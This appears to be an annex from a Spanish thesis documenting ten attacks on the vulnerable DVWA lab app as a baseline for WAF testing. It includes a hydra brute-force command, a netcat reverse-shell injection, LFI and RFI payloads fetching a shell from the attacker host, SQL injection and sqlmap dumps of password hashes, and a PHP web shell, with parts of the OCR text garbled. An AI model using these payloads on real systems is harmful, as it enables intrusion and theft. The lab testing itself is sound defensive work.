ANEXO 2. Resultados de los 10 ataques realizados al target
DVWA sin la proteccion de los WAFs Open Source.

En el presente anexo, se va a ejecutar los 10 atagues descritos sobre el
aplicativo web vulnerable DVWA. Los ataques se realizan directamente al
aplicativo web, sin contar con la proteccion de los WAFs. A continuacion se
muestran los resultados obtenidos por cada uno de los ataques realizados:

Ataque 1: Fuerza Bruta

El ataque se basa en obtener el password del usuario comun “admin” a través
de un diccionario establecido.

Pasos para realizar el ataque de fuerza bruta:

» Configurar el acceso proxy del navegador web como configuracion
manual del proxy:

Configuracion de conexion X

Configurar acceso proxy a Internet
Sin proxy
Autodetectar configuracién del proxy para esta red

Usar la configuracién del proxy del sistema

@ Configuracion manual del proxy

Proxy HTTP | localhost Puerto 8080

/| Usar el mismo proxy para todo

URL de configuracién automatica del proxy

No usar proxy para

» Ingresar al target del aplicativo web vulnerable, e ingresar credenciales
de acceso incorrectos.

# proxy-waf/dvwa/login.php
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Username

admin

Password

Login



» Abrir la herramienta OWASP ZAP, y capturar el trafico. Se obtienen los
parametros (método get, cookie, username, password) necesarios para
ejecutar el ataque:

QD Sesién sin Nombre - OWASP Z4P 270 - 8 x
Aschio Editar Ver Analizar Repode Henmamientas Online Ayuda
Wty 5] | B LMK E OO0 D@0 ON0 A, OP PO XERE 66

@ sios | + [+ inca Ropide | = Petiaon | Respuesio | |
@LEG Header VistaRaw | ¥ CuepovistaRaw  |¥] ()
* (5 Conteuts GET nttp://proxy-waf/cwa/winerabilities 7usernane-aoninsoas sworg-aomindLogineLogin HTTP/1.1
(] Detault Contert User-Agent: Mozilla/S.e (Windows NT 10.8 %64; rvi71.0) Gecko/20100181 Firefan/71.8

v @ siies Accept: text/ntal,application/xhtnl v ation/xnl;qe8.9,4/*a8.8
0.3

Aceept-Langusge: £3-ES,e3;920.8,en-US;q50.5, en
> L P it prasy-wat Connection: xeeo-alive
. . Referer: http//proxy-waf/dvwalvulnerabilities/brute/
9 MRt locsl Coakie: security=low; PHPSESSTO=dupbFogmlfnhknl718perthbos
» [ F nit Hgetectportal frefor com Upgrade-Insecure-Requests: 1
> [ P it prosy-wat com ec flost: proiy-w

j=m|;\auuu[fxugu,| sanas | & |

@ @ | Filio APAGADD { Exportar

) Req Timestamp Méto URL coce Reason [RrT Size Resp. Bogy Highest Alen Note |Tags [
51 51213150428 GET npiprony-walitwalowaljsidwaPage js 200 OK 3ms 775 bytes 4 Bajo Comment g
53 51219150420 GET ppron-waliwahuinerabilties orute! 200 OK 8ms 5122 bytes P lsdin Form. Password, Script
55 GET R CIpONal refox COMVSUCEES S bl 200 0K 24ms 8otes. 7 Bajo
6 GET e etectportal irsfox comysuccess tTips 200 0K 27 ms oftes. B0

ipidetectportsl firefox comisuccess bt

8 bytes.
]

% Inicio Rapido | = Peticién | Respuestai=

|Header: Vista Raw v [CuerporvistaRaw  |v] [ ][]

GET http://192.168.1.41/dvwa/vulnerabilities/brute/?username=admin&password=GABRIEL&Login=Login HTTP/1.1
User-Agent: Mozilla/5.0 (X11: Linux x86_64: rv:52.0) Gecko/20100101 Firefox/52.0

Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,%/%;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://192.168.1.41/dvwa/vulnerabilities/brute/

[Cookie: security=low: PHPSESSID=oklktd57s6oeZbrrvumlqubsf3

Connection: keep-alive

Upgrade-Insecure-Requests: 1

Host: 192.168.1.41

Y como respuesta se obtiene que las credenciales ingresadas son incorrectas:

[ & Inicio Rapido | = Peticidn [ Respuestas= | 4

|Header vista Raw | ¥] [cuempovistaraw ¥| [ [

HTTR/1.1 288 OK A
Date: Thu, 85 Dec 2819 208:86:25 GMT
Server: Apache/2.4.18 (Ubuntu)

Expires: Tue, 23 Jun 2809 12:88:88 GMT
Cache-Control: no-cache, must-revalidate
Pragma: no-cache

Vary: Accept-Enceding

Content-Length: 5174

Content-Type: text/html;charset=utf-8
Keep-Alive: timeout=5, max=188
Connection: Keep-Alive

¥
<br /> Y
¢<input type="submit" value="Login" name="Login"> 2
</ form>
<prex<br />Username and/or password incorrect.</pre>
</div>
<hZzMore Information</h2>
<ul>
<li»<a href="https:/ www.owasp.org/index.php/Testing for_EBrute_Force_(OWASP-AT-@84)" target="_blank">
https://www.owasp.org/index.php/Testing_for_Brute_Force_(OWASP-AT-884)</a></1i> )
<lix<a href="http://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password”
target="_blank">http://www.symantec.com/connect/articles/password-crackers-ensuring-security-your-password</a»</1ix
<lix<a href="http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html" target=
"_blank">http://www.sillychicken.co.nz/Security/how-to-brute-force-http-forms-in-windows.html</a></1i> -
</ ul> N




» Posteriormente ejecutar el ataque a través de diccionario, desde la
consola del terminal de Kali Linux ejecutando la herramienta de hydra.
El comando a ejecutar es el siguiente:

hydra -I admin -P /root/Escritorio/prueba.txt 192.168.1.41 http-get-form
"/dvwa/vulnerabilities/brute/:username="USER"&password="PASS”"&Login=Lo
gin:F=incorrect:H=Cookie: security=low;
PHPSESSID=0k1ktd57s60e2brrvuml1qvbsf3" -V

Los parametros ejecutados en el comando significan:
Usuario: admin

Método: get

Diccionario: prueba.txt

Direccion Ip de la victima: 192.168.1.41

"/dvwa/vulnerabilities/brute/:username="USER"&password="

(c) 2017 a - n - anizations, or for illegal purposes.

[DATA] max 15 ta 0
[DATA] attacking e .41: Wa e rute. S sword="PASS"&Login=Login:F=incorrect:H=Co

15 [child @] (ese)
15 [child 1] (e/e)
[ATTEMPT] . .41 - " = 5 [child 2] (e/0)
[ATTEMPT] B o in" 4 15 [child 3] (e/@)
[ATTEMPT] . -1 in® - 5 of 15 [child 4] (ese)
[ATTEMPT] B o a IADINE1988" - 6 of 15 [child 5] (@8/e@)
[ATTEMPT] target 5 .41 - - - f 15 [child 6] (8/0)
[ATTEMPT] target ) .4 - 8 of 15 [child 7] (8/8)
[ATTEMPT] target 5 .4 - f 15 [child 8] (8/e0)
[ATTEMPT] . Al - "a = - 18 of 15 [child 9] (8/@)
[ATTEMPT] = 4 ) 15 [child 1e] (es@)
[ATTEMPT] 2 -4 o 15 [child 11] (e/@)
[ATTEMPT] tar a1 " - " - 13 of 15 [child 12] (es@)
[ATTEMPT] .4 = of 15 [child 13] (e/@)
[ATTEMPT] 4 " p pas 5 of 15 [child 14] (e/0)
[8@] [http-get I : password
1 of 1 tar

Se puede observar que el atague realizado fue exitoso, y que las credenciales
de acceso son: usuario= admin y password= password.

Ataque 2: Ejecucién de comandos

El ataque se basa en ejecutar comandos arbitrarios en el sistema operativo del
aplicativo web vulnerable. En este caso se va crear una conexién entre el
aplicativo web y el Kali Linux, y asi poder ejecutar cualquier tipo de comando
dentro del sistema del aplicativo web, dependiendo de los permisos o privilegios
que contenga.

Pasos para realizar el ataque de ejecucién de comandos:

» En Kali Linux abrir un terminal y ejecutar el comando nc —nlvp 443, para
dejar el puerto 443 en escucha y poder realizar una conexiéon con el
aplicativo web.



Archivo Editar Ver Buscar Terminal

root@Kkali-Gabriel: ~

Ayuda

:~# nc -nlvp 443

listening on [any] 443

» En el aplicativo web seleccionar la opcion de “Command Injection”,

realizar el ataque ejecutando en la entrada de texto “Enter an IP address

el comando: 127.0.0.1 && nc.traditional 192.168.1.10 443 -e /bin/sh
para realizar la conexion. Y asi poder ejecutar cualquier tipo de comando
dentro del sistema del aplicativo web, dependiendo de los permisos o

privilegios que contenga.

£ =0 192.168.1.41/dvwa/vulnerabilities/exec/

Y0¢ UOC (Universitat Ober.., B Inicio desesién en el .. (@ Mueva pestafia

e

Vulnerability: Command Injection

EE Ping a device
p | Reset DB

Enter an IP address ‘w_traditional 192.168.1.10 443 -e .l’binfsh| Submit

aEnrra |

» Como resultado se puede observar que la pagina web se queda
cargando por un momento. Y en la consola del terminal de kali linux ya

se tiene una conexion exitosa:

Archivo Editar Ver Buscar Terminal Ayuda
:~# nc -nlvp 443
listening on [any] 443 ...

connect to [192.168.1.10] from (UNKNOWN) [192.168.1.41] 36980

» Comprobar la conexion, ejecutando por ejemplo el comando

letc/passwd:

:~# nc -nlvp 443
listening on [any] 443 ...

connect to [192.168.1.10] from (UNKNOWN) [192.168.1.41] 36980

1s -la

total 20

drwxr-xr-x 4 www-data www-data 4096 Nov 29
drwxr-xr-x 14 www-data www-data 4096 Nov 29
drwxr-xr-x 2 www-data www-data 4096 Nov 29
-rw-r--r-- 1 www-data www-data 1830 Nov 29
drwxr-xr-x 2 www-data www-data 4096 Nov 29

:root:/root:/bin/bash

2017 .

PAH N s

2017 help

2017 index.php
2017 source

:daemon: /usr/sbin:/usr/sbin/nologin

n:/bin:/usr/sbin/nologin
s:/dev:/usr/sbin/nologin
5534:sync:/bin:/bin/sync

60:games: /usr/games:/usr/sbin/nologin
:man:/var/cache/man:/usr/sbin/nologin

/var/spool/lpd:/usr/sbin/nologin

:mail:/var/mail:/usr/sbin/nologin

ews: /var/spool/news:/usr/sbin/nologin
cp:/var/spool/uucp:/usr/sbin/nologin

roxy:/bin:/usr/sbin/nologin

3:www-data:/var/www:/usr/sbin/nologin
4:backup:/var/backups:/usr/sbin/nologin
:Mailing List Manager:/var/list:/usr/sbin/nologin
ircd:/var/run/ircd:/usr/sbin/nologin
1:Gnats Bug-Reporting System (admin):/var/lib/gnats:

nnhodv:x:A5534-R5534 - nohndv: /nonexistent - /s

r/chin/nnlonin



Ataque 3: File Inclusién Local

El ataque consiste en incluir ficheros locales, es decir, archivos que se
encuentran en el mismo servidor de la web.

Pasos para realizar el ataque File Inclusién Local:

» Seleccionar la opcion “File Inclusion” del aplicativo web. Dar clic en
cualquiera de los 3 ficheros php.

C @

rm— | Vulnerability: File Inclusion
Instructions |
Setup / Reset DB |

‘ [ 1-1 1-1 ]

More Information

Brute Force

|
Command Injection |
CSRF |

|

» Se obtiene como respuesta algunos parametros de la conexion
realizada.

Vulnerability: File Inclusion

File 3

Welcome back admin

Your IP address is: 192.168.1.110

Your user-agent address is: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101
Firefox/71.0

You came from: http://192.168.1.41/dvwalvulnerabilities/fi/ ?page=include.php

I'm hosted at: 192.168.1.41

[back]

» Realizar el ataque ejecutando el comando
192.168.1.41/dvwal/vulnerabilities/fi/?page=/etc/passwd en la URL del
navegador web, para obtener el contenido del fichero de usuarios del
sistema. Se puede cambiar el comando /etc/passwd por cualquier otro
comando del sistema.

<« c @ |® °’2192.168.1.41 /dvwa/vulnerabilities/fi/?page= fetc/passwd Ve {?| In @ ® =

4} Més visitados @ Comenzar a usar Firefox %8¢ UOC (Universitat Ober... B Inicio de sesién en el c... (@ Nueva pestafia

rootx0:0:rootiroot/binfbash daemon:xc1:1:daemon:/usrisbinusr/sbin/nologin binxc2:2:binsbinfusr/sbin/nologin sysic3: 3:sysiddeviusrisbin/nologin syncx4:65534: sync/bin:/bin/sync
games5:60.games:fusrigames:fusrisbininologin man:xcd: 12:man:varicacheiman:usr/sbinimologin lp2c7:7:lp:ivar's poolllpd:iusrisbininologin mailx8:8:mail-iar/mail:lusrisbin/nologin
newsx.9:9:news:iar/spool/inews:/usrisbin/nologin uucp:x:10:10:uucp:hvar/spooliuucp:iusr/sbininologin proxy:x:13:13:proxy./bin:/usr/s bin/nologin www-datax:33:33:www-data:ivar
fawwfusrlsbin/nologin backup:c34:34:backup:var/backups:iusrizbininologin listx 38:38:Mailing List Manager:varflistiusrisbinfnologin ircc39:39:rcd:varlrunfired: fusr/sbin/nologin
gnatscd1:41:Gnats Bug-Reporting System (admin):var/libignats:iusr/sbin/nologin nobody:65534:65534:nobody/nonexistentiusr/sbin/nologin systemd-timesyncxc100:102:systemd
Time Synchronization,,, frun/systemd:/binfalse systemd-networkoxc101:103:zystemd Metwork Management,, /run/systemdinetif/binfalse systemd-resolvex:102:104:systemd
Resolver,, frun/systemdiresolve/binfalze systemd-bus-proxyxc103:105:zystemd Bus Proxy,,,frunisystemd:./binfalse syslogx:104:108:/home/syslogibinfalse

_aptx105:65534 inonexistentibinfalse messagebusac 106110 varrun/dbus:/binffalse uuidd:x 107: 111 /runfuuiddzibinffalse lightdmx:108:114.Light Display Manageriarlib/lightdm:
Ibinffalse whoopsiex: 109: 117 inonexistent:/binfalse avahi-autoipdx 110:119:Avahi autoip daemon, ,-varllib/avahi-autoipd:/binfalse avahix 111:120:Avahi mDNS daemon,, Aar
Irunfavahi-daemon:/binfalse colordx:112:123:colord colour management daemaon, -varflib/colord:/binffalse dnsmasqx 113:65534:dnsmasq,, ‘ivarllib/misc/binfalse hplipx114:7-HPLIP
system user, JvarlrunfhplipJbinfalse kernoopsic115:65534:Kemel Oops Tracking Daemon,,, [/binfalze pulsex 116124 PulseAudio daemon,, varfrunipulse:/binfalse

kit 117:126:Realtimekit,, /proc/binfalse saned:x 118:127-harllib/zaned:/binfalse usbmucx 119:46:usbmux daemon, . varfliblusbmuxibinfalse speech-dispatcherx120:29:5peech
Dispatcher,,.varlrunis peech-dispatcher/binfalze dojos1000:1000:Web Security Dojo,, /home/dojo:/bin/bash vboxadd:x999:1::varfrunvboxadd:/binfalse mysglxc121:129:MyS0L
Server,./nonexistent/binifals e tomecat8nc122:130:usr/shareftomeaté:binfalze postgres:123:131:PostgreSQL administrator,, ivarlibipostgresqglibin/bash




Ataque 4: File Inclusién Externo

El ataque consiste en incluir ficheros remotos, es decir, archivos que se
encuentran en otros servidores. En este caso se va a cargar un payload realizado
en php con el contenido “SHELL CARGADO CORRECTAMENTE” en el servidor
web DVWA, desde un servidor web instalado en Kali Linux. El payload esta
alojado en el Kali Linux en la siguiente ruta: /varlwww/html/ y se denomina

shell.php.

Pasos para realizar el ataque File Inclusién externo:

» Primero verificar que en Kali Linux que se esté ejecutando el servicio de
apache2, para ello ejecutar service apache?2 status, en caso de que no
esta activado, ejecutar service apache?2 start.

@ apache2.service -

:~# service apache2 status
The Apache HTTP Server
Loaded: loaded (/lib/systemd/system/apache2
Active: active (running) since Mon 2019-12-

Process: 2582 ExecStart=/usr/sbin/apachectl
Main PID: 2593 (apache2)
Tasks: 7 (limit: 4915)
CGroup: /system.slice/apache2.service

2593
2611
2612
2613
2614
2615
2616

» Crear un fichero denominado shell.php en la ruta /var/www/html/ de Kali

/usr/sbin/apache2

/usr/sbin/apache2 -
/usr/sbin/apache2 -
/usr/sbin/apache2 -

/usr/sbin/apache2

/usr/sbin/apache2 -

/usr/sbin/apache2 -

Linux, con el siguiente contenido:

-k

k
k
k
-k
k
k

:/var/www/html# cat shell.php

<!doctype html>

<html>
<head>

<title>SHELL -

<meta charset="UTF-8">

<meta name="viepwort" content="initial-scale=1.0">

</head>

<body>

<center>SHELL CARGADO CORRECTAMENTE</center>

</body>
</html>

:/var/www/html#

» Comprobar que el fichero se cargue correctamente desde cualquier

cliente en un navegador web:

) £ 192.168.1.10/shellphp

SHELL - UPLOAD FILE

X

start
start
start
start
start
start
start

UPLOAD FILE</title>

Y0¢ UOC (Universitat Ober... B Inicic de sesion en el c... @& Mueva pestafia

SHELL CARGADO CORRECTAMENTE



» Ejecutar el ataque el comando en la URL del navegador web:

proxy-waf.com.ec/dvwa/vulnerabilities/fi/?page=data:,<?php
system($_GET['cmd']);?>&cmd=wget http://192.168.1.10/shell.php -P
Ivar/www/dvwa/hackable/uploads.

0 & .<?php system(S_GET['cmd]):?>&cmd=waget http://192.168.1.10/shell.php -P fvarfwww/dvwa/hackablefuploads v ¢

irefox 8¢ UOC (Universitat Ober... B Inicio de sesién en el ... (@ Nueva pestafa

Se ejecuta el comando wget para cargar el archivo o payload denominado
shell.php, la direccion IP 192.168.1.10 es la del servidor web en este caso la del
Kali Linux; y la ruta /var/www/dvwa/hackable/uploads es la ruta del aplicativo web
vulnerable (DVWA) donde se guardara el payload, para posteriormente ser
ejecutado.

» Comprobar en el aplicativo web que el archivo cargado se pueda ejecutar:

°4 192.168.1.41 /dvwa/hackable/uploads/shell.php

% UOC (Universitat Ober... 8 Inicio de sesién en el c.. & Mueva pestaria

SHELL CARGADO CORRECTAMENTE

» También, se puede verificar que el archivo shell.php se encuentra cargado
en la ruta del aplicativo web.

¥ 1s
shell.php

Ataque 5.1: Inyeccion SQL Manual

El ataque consiste en inyectar sentencias SQL a través del(los) input(s) del
aplicativo web vulnerable, para la manipulacion de las bases de datos.

Pasos para realizar el ataque Inyeccién SQL Manual:

» Seleccionar la opcion “SQL Inyection” del aplicativo web. Ejecutar el
parametro ' or '1=1 en la entrada de texto “User ID:” del aplicativo web.



© B 192.168.1.41/dvwa/vulnerabilities/sqli/

r Firefox  ¥0¢ UOC (Universitat Ober... B Inicio de sesion en el c.. @& Mue

Vulnerability: SQL Injection

Hello user! You are authorized to see info for users 1 and .
would like to see.

UserID:|'nr'1=1| Submit

il EEN

» Se obtiene los datos “First name” y “Surname.

© £ 192.168.1.41/dvwa/vulnerabilities/sqli/7id="+or+"1%

refox ¥0¢ UOC (Universitat Ober... 8 Inicio de sesion en el c... @ MNuevay

| Vulnerability: SQL Injection

‘ Hello user! You are authorized to see info for users 1and 2, p
‘ would like to see.

ID: ' or '1l=1
Firat name: admin
Surname: admin

ID: ' or '1l=1
Firat name: G
Surname: EBrown

ID: ' or '1l=1
First name: Hack
Surname: Me

ID: ' or '1l=1
Firat name: Pablo
Surname: Picasso

ID: ' or '1l=1
Firat name: Bob
Surname: Smith

Ataque 5.2: Inyeccion SQL Manual

El ataque consiste en inyectar sentencias SQL a través del(los) input(s) del
aplicativo web vulnerable, para la manipulacién de las bases de datos.

Pasos para realizar el ataque Inyeccion SQL Manual:

» Seleccionar la opcién “SQL Inyection” del aplicativo web. Ejecutar el
parametro 1' or 1=1 wunion select null, table_name from
information_schema.tables# en la entrada de texto “User ID:” del
aplicativo web.



Vulnerability: SQL Injection

Hello user! You are authorized to see info for users 1 and 2, please use the form below to input which you
would like to see.

User ID: | ation schema.tables | Submit

» Se obtiene informacion de las tablas de la base de datos, por ejemplo
una denominada “ENGINES”.

© £ 192.168.1.41/dvwa/vulnerabilities/sqli/7id="+or+1%3 B - w [\
firefox  ¥0¢ UOC (Universi itat Ober... [ Inicio desesién enelc.. @ Nueva pestaia
ull, table name from information_schema.tables#
j information schema.ctables#
J information_schema.tables#

information_schema.tables$

information_schema.tables#

information_schema.tables#

information_schema.tables#

information_schema.tables#

information_schema.tables#

information_schema.tables#

null, table name from information schema.tables#

Ataque 5.3: Inyeccion SQL Automatizado

El ataque se basa en ejecutar cédigo sqgl automaticamente hasta detectar y
aprovechar las vulnerabilidades de inyeccion SQL en el aplicativo web, y obtener
datos como nombre de las bases de datos, tablas, usuarios, passwords, etc.

Pasos para realizar el ataque Inyeccién SQL Automatizado:

» Configurar el acceso proxy del navegador web como configuracion
manual del proxy.

» Abrir la herramienta OWASP ZAP, y capturar el trafico.

» Seleccionar la opcion “SQL Inyection” del aplicativo web. Ejecutar el
parametro 1 en la entrada de texto “User ID:” del aplicativo web.

Vulnerability: SQL Injection

Hello user! You are authorized to see info for users 1 and 2, please use the form below to input which you
would like to see.

ID: 1
First name: admin
Surname: admin




» Obtener los parametros necesarios (método de peticion get, ID y la
cookie) para ejecutar el ataque:

| [ % Inicio RépidoI = Peticion T Respuestaé= | ==

| Header: Vista Raw q | Cuerpo:Vista Raw q B =

GET http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&5ubmit=5ubmit HTTP/1.

1

User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/
52.0

Accept: text/html.application/xhiml+xml,application/xml;q=0.9,%/*;q=0.8
Accept-Language: en-US,en:;q=0.5 [
Referer: http://192.168.1.41/dvwa/vulnerabilities/sqli/

Cookie: kecurity=low: PHPSESSID=18mgc@r3ircht5jaduhl8dpels 1

» Posteriormente ejecutar el ataque, desde la consola del terminal de Kali
Linux ejecutando la herramienta de Sglmap. EI comando a ejecutar para
obtener el nombre de las bases de datos, es el siguiente:

sqglmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -
-cookie "security=low; PHPSESSID=I8mgcO0r3ircht5ja4uhl8dpel5" --dbs

: 1d=1' UNION ALL SELECT NULL,CONCAT{©x716a706271, 24e715a7264504
67a4f545875504b4b7a677248437a70596776514a4a7a6a54,0x716a6a7871 ) #&5

1 [INFO] the back-end DBMS is MySQL

2r operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL == 5.0

available databases [7]:

dvwa
information_schema

sy

wavsepDB

[*] shutting down at 14:35:54

Ejecutar el siguiente comando para obtener las tablas:

sqglmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -
-cookie "security=low; PHPSESSID=I8mgcO0r3ircht5ja4uhl8dpel5" -D dvwa —
tables

AILIIVU Lulal Vel DusLEl  ISinEr  Ayuda
ySQL UNION query (NULL) - 2 columns
: id=1' UNION ALL SELECT NULL,CONCAT(0x716a706271,0x78424e715a7264504
66e75767a4T545875504b4b7a677248437a70596776514a4a7ab6as4,0x716a6a787 1) #&5
ubmit=Submit

37] [INFO] the back-end DBMS is MySQL

ver operating system: Linux Ubuntu 16.84 (xenial)
web application technology: Apache 2.4.18
back-end DBMS: MySQL == 5.0

G] reflective

[*] shutting down at 14:37:37




Ejecutar el siguiente comando para obtener las columnas y el tipo:

sglmap -u "http://192.168.1.41/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit" -
-cookie "security=low; PHPSESSID=I8mgcOr3ircht5ja4uhl8dpel5" -D dvwa -T
users —columns

I —
web applicatio e /
yack-end DBMS: MySQL >= 5

varchar(15)
varchar(70)
failed_login int(3)
first_name varchar(15)
last login timestamp
last_name varchar(15)
password varchar(32)
user id int(6)

Ejecutar el siguiente comando para obtener usuarios y passwords:

sglmap -u "http://192.168.1.41/dvwalvulnerabilities/sqli/?id=1&Submit=Submit" -
-cookie "security=low; PHPSESSID=I8mgcOr3ircht5ja4uhl8dpel5" -D dvwa -T
users —dump

| user
| last_name | first name | last login

| http://192.168.1.41/dvwa/hackable/users/admin. jpg | admin

765d61d8327deb882cT99 (password) | admin | admin | 2019-12-85 22:33

I
| 2 | http://192.168.1.41/dvwa/hackable/users/gordonb.jpg | gordonb | e99al8c428c
b38d5f260853678922e03 (abcl23) | Brown | Gordon | 2019-12-85 22:33:52 | @

|
| 3 | http://192.168 41/dvwa/hackable/users/1337.jpg | 1337 | 8d3533d75ae
2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2019-12-85 22:33:52 | @

|
| 4 | http://192.1 41/dvwa/hackable/users/pablo. jpg | pablo | edie7desfsb
be4ocade3de5c71e9e9b7 (1 n) | Picasso | Pablo | 2019-12-85 22:33:52 | @

|
| 5 | http://192.168 41/dvwa/hackable smithy.jpg | smithy | 5f4dcc3b5aa
765d61d8327deb882cf99 (pas ord) | Smith | 2019-12;85 22:33:52 | 8

Ataque 6.1: Inyeccion SQL Blind Manual

El ataque se basa en ejecutar el pardmetro 'or 7=7# en la entrada de texto “User
ID:” del aplicativo web vulnerable. Para verificar si el ID existe. Por defecto, el
aplicativo tiene habilitado los ID’s: 1, 2, 3, 4 y 5 en la base de datos. Cualquier
otro numero nos devolvera que el ID no existe. En este caso estamos
introduciendo un valor con ID=7, de tal forma que no importe el ID que pongamos
y siempre nos devuelva el mensaje que el ID existe.

Pasos para realizar el ataque Inyeccién SQL Blind Manual:



» Seleccionar la opcion “SQL Inyection Blind” del aplicativo web. Ejecutar
el pardmetro 'or 7=7# en la entrada de texto “User ID:” del aplicativo
web.

Vulnerability: SQL Injection (Blind)

User ID: |'c|r T=T# | Submit

» Como resultado se obtiene que cualquier ID que se ingrese, devuelve
como resultado que el ID existe.

Vulnerability: SQL Injection (Blind)

User ID: |'c|r 7=T# | Submit

User ID exists in the database.

Ataque 6.2: Inyeccién SQL Blind Automatizado

El ataque se basa en ejecutar cédigo sgl automaticamente hasta detectar y
aprovechar las vulnerabilidades de inyeccion SQL Blind en el aplicativo web, y
obtener datos como nombre de las bases de datos, tablas, usuarios, passwords,
etc. Ademas para obtener los pardmetros necesarios para ejecutar el ataque se
hace uso de la herramienta OWASP ZAP, para obtener los datos necesarios
como el ID de la peticion web realizada, la Cookie.

Pasos para realizar el ataque Inyeccion SQL Blind Automatizado:

» Configurar el acceso proxy del navegador web como configuracion
manual del proxy.

» Abrir la herramienta OWASP ZAP, y capturar el tréfico.

» Seleccionar la opcion “SQL Inyection Blind” del aplicativo web. Ejecutar
el parametro 1 en la entrada de texto “User ID:” del aplicativo web.

= | @ | 192.168.1.41/dvwa/lvulnerabilities/sqli_blind/? C Search wBa & & !

|Most Visitedv JllOffensive Security S Kali Linux & Kali Docs N Kali Tools = Exploit-DB Wy Aircrack-ng

o Vulnerability: SQL Injection (Blind)
Instructions
Setup / Reset DB User ID: | 1 | Submit

Brute Force User ID exists in the database.

Command Injection |




» Obtener los parametros necesarios (método de peticion get, ID y la
cookie) para ejecutar el ataque:

% Inicio Rapide | = Peticion T Respuestas= | 4=

| Header: Vista Raw q | Cuerpo:Vista Raw q B =

GET http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit A
HTTP/1.1 r
User-Agent: Mozilla/5.0 (X11; Linux x86 64; rv:52.0) Gecko/20100101 Firefox/
52.0

Accept: text/html,application/xhtml+xml,application/xml;g=0.9,*/#%;q=0.8
Accept-Language: en-US,en;qg=0.5

Referer:
http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?1d=1+0r+0%3D0- -&Submit=5 f
ubmit

Cookie: security=low; PHPSESSID=18mgcOr3irchtSjaduhladpels v

» Posteriormente ejecutar el ataque, desde la consola del terminal de Kali
Linux ejecutando la herramienta de Sglmap. EI comando a ejecutar para
obtener el nombre de las bases de datos, es el siguiente:

sqglmap —u
"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
cookie "security=low; PHPSESSID=18mgcOr3ircht5ja4uhl8dpel5" —dbs

Archivo Editar Ver Buscar lerminal Ayuda

available databases [7]:
[*] dvwa

[ ormation_schema

[*] shutting down at 15:56:23

Ejecutar el siguiente comando para obtener las tablas:

sqglmap -u
"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
cookie "security=low; PHPSESSID=18mgcOr3ircht5ja4uhl8dpel5" -D dvwa —
tables



F . i e g
[16:01:59] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu 16.04 (xenial)
web application technology: Apache 2.4.18

back-end DBMS: MysSQL >= 5.0.12

odes detected during run:

[*] shutting down at 16:01:59

Ejecutar el siguiente comando para obtener las columnas y el tipo:

sqglmap -u
"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
cookie "security=low; PHPSESSID=18mgcOr3ircht5ja4uhl8dpel5" -D dvwa -T
users —columns

I VUL RAU=JdU ] TEL ~ v v w

Archivo Editar Ver Buscar Terminal Ayuda

W =qrh
P
H=1oH
Vi
+— +

varchar(15)

varchar(32)
int(6)

+
|
+
|
|
|
|
|
| ;
|
|
+

cted during run:

[#] shutting down at 16:83:33
Ejecutar el siguiente comando para obtener usuarios y passwords:

sqglmap -u
"http://192.168.1.41/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit" --
cookie "security=low; PHPSESSID=18mgcOr3ircht5ja4uhl8dpel5" -D dvwa -T
users —dump



ArCNIVO  EQEar Ver puscar 1erminat  Ayuda

- =4

| user_id | avatar | user
| last_name | first name | last_login

d login |

e

http://192.168.1.41/dvwa/hackable/users/1337. jpg | 1337
2c3966d7e0d4fcc69216b (charley) | Me | Hack | 2019-12-05 22:
|
| 1 | ht //192. 1/dvwa/hackable/users/admin. jpg | admin | 5f4dcc3b5aa
765d61d8327deb L rd) | admin | admin 2019-12-05 22:33:52 | ©

| 2 '/ .1.41/dvwa/hackable/users/gordonb.jpg | gordonb | e99alB8c428c
REEE 2608 (abc123) | Brown 2019-12-85 22:33:52 | 0
|
| 4 h 1/ /192. fdvwa/h e/us pablo. jpg | pablo | 8d1e7de9fsb
d ) i | 2019-12-85 22:33:52 | ©

smithy.jpg | smithy | 5f4dcc3b5aa
| 2019-12-05 22:33:52 | ©

Ataque 7: File Upload

El atague se basa en cargar un payload, en este caso un archivo denominado
shelll.php al sistema de archivos del aplicativo web, el cual nos permite ejecutar
comandos dentro del sistema operativo del aplicativo web.

Pasos para realizar el ataque File Upload:

» Seleccionar la opcion “File Upload” del aplicativo web. Dar clic en la opcion
Examinar, y cargar el archivo denominado shelll.php.

c ‘@' © & 192.168.1.41/dvwa/vulnerabilities/uploac s

Ads visitados @@ Comenzar a usar Firefox Y0t UOC (Universitat Ober... 8 Inicio de sesién en el c... @ MNueva pestafia

Home | Vulnerability: File Upload

Instructions |

Choose an image to upload:
Setup / Reset DB |

Examinar... | No se ha seleccionado ningdn archivo.

Brute Force

Upload

Command Injection

CSRF

More Information

File Inclusion

Insecure CAPTCHA

» El archivo shelll.php contiene lo siguiente:

< ?php
$cmd = $ GET["cmd"];
system (Scmd) ;



» Si el archivo se cargd exitosamente al aplicativo web, se obtendra el

siguiente mensaje:
=
D\@R)

s . Vulnerability: File Upload
Instructions [ Choose an image to upload
Setup / Reset DB 1
Examinar... No se ha seleccionado ningun archivo
[
_Command Injection | _
CSRF [ S e S

» Posteriormente efectuar el ataque, ejecutar el siguiente comando en la
URL del navegador web:

http://192.168.1.41/dvwa/hackable/uploads/shelll.php?cmd=pwd

<« [ ‘@ 0 Z proxy-waf.com.ec/dvwa/hackable/uploads/shell1.php?cmd=pwd
